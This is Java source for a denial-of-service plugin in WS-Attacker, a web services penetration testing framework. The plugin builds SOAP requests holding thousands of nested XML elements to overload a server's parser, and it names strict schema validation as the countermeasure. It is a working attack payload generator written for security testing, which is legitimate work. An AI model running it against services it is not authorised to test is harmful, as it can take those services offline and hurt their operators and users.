/**
* WS-Attacker - A Modular Web Services Penetration Testing Framework Copyright
* (C) 2012 Andreas Falkenberg
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 51
* Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package wsattacker.plugin.dos;
import java.util.HashMap;
import java.util.Map;
import wsattacker.main.composition.plugin.option.AbstractOptionInteger;
import wsattacker.main.plugin.option.OptionLimitedInteger;
import wsattacker.main.plugin.option.OptionSimpleVarchar;
import wsattacker.plugin.dos.dosExtension.abstractPlugin.AbstractDosPlugin;
import wsattacker.plugin.dos.dosExtension.option.OptionTextAreaSoapMessage.PayloadPosition;
public class CoerciveParsing
extends AbstractDosPlugin
{
// Mandatory DOS-specific Attributes - Do NOT change!
// <editor-fold defaultstate="collapsed" desc="Autogenerated Attributes">
private static final long serialVersionUID = 1L;
// </editor-fold>
// Custom Attributes
private AbstractOptionInteger optionNumberTags;
private OptionSimpleVarchar optionTag;
@Override
public void initializeDosPlugin()
{
initData();
// Custom attack parameters
optionNumberTags =
new OptionLimitedInteger( "Number of nested elements", 1500,
"Number of nested elements. E.g. '3' means <X><X><X></X></X></X>", 0, 147483647 );
optionTag = new OptionSimpleVarchar( "Element name", "X", "Element name (will be placed between < and >)" );
getPluginOptions().add( optionNumberTags );
getPluginOptions().add( optionTag );
}
public AbstractOptionInteger getOptionNumberTags()
{
return optionNumberTags;
}
public OptionSimpleVarchar getOptionTag()
{
return optionTag;
}
@Override
public PayloadPosition getPayloadPosition()
{
return PayloadPosition.HEADERLASTCHILDELEMENT;
}
public void initData()
{
setName( "Coercive Parsing" );
setDescription( "<html><p>This attack plugin checks if the server is vulnerable to a \"Coercive Parsing Attack\".</p><p>"
+ "The attack algorithm replaces the string $$PAYLOADELEMENT$$ in the SOAP message below "
+ "with the defined number of nested elements. "
+ "The placeholder $$PAYLOADELEMENT$$ can be set to any other position in the SOAP message"
+ "The number of nested elements is defined in \"Param 8 - number elements\". "
+ "The element name of the nested elements is defined in \"Param 9 - element name\", "
+ "i.e. if you choose \"X\" as an element name, each element has a size of 7 bytes."
+ "This would result in the following filesizes:\n"
+ "~ 150000 Tags result in a 1 mb file <ul>"
+ "<li>~ 75000 Tags result in a 0.5 mb file </li>"
+ "<li>~ 15000 Tags result in a 0.1 mb file</li>"
+ "<li>~ 7500 Tags result in a 0.05 mb file" + "</li></ul></p></html>" );
setCountermeasures( "The \"Coercive Parsing\" attack can be fully stopped by using strict schema validation. "
+ "Each WSDL should contain a detailed description of the used elements, attributes, and data types. "
+ "More Information: http://clawslab.nds.rub.de/wiki/index.php/Coercive_Parsing" );
}
@Override
public void createTamperedRequest()
{
// generate Payload
String elementNameOpen = "<" + optionTag.getValue() + ">";
String elementNameClose = "</" + optionTag.getValue() + ">";
StringBuilder sb = new StringBuilder();
for ( int i = 0; i < optionNumberTags.getValue(); i++ )
{
sb.append( elementNameOpen );
}
for ( int i = 0; i < optionNumberTags.getValue(); i++ )
{
sb.append( elementNameClose );
}
// replace "Payload-Attribute" with Payload-String
String soapMessage = this.getOptionTextAreaSoapMessage().getValue();
String soapMessageFinal =
this.getOptionTextAreaSoapMessage().replacePlaceholderWithPayload( soapMessage, sb.toString() );
// get HeaderFields from original request, if required add custom
// headers - make sure to clone!
Map<String, String> httpHeaderMap = new HashMap<String, String>();
for ( Map.Entry<String, String> entry : getOriginalRequestHeaderFields().entrySet() )
{
httpHeaderMap.put( entry.getKey(), entry.getValue() );
}
// write payload and header to TamperedRequestObject
this.setTamperedRequestObject( httpHeaderMap, getOriginalRequest().getEndpoint(), soapMessageFinal );
}
// ----------------------------------------------------------
// All custom DOS specific Methods below!
// ----------------------------------------------------------
}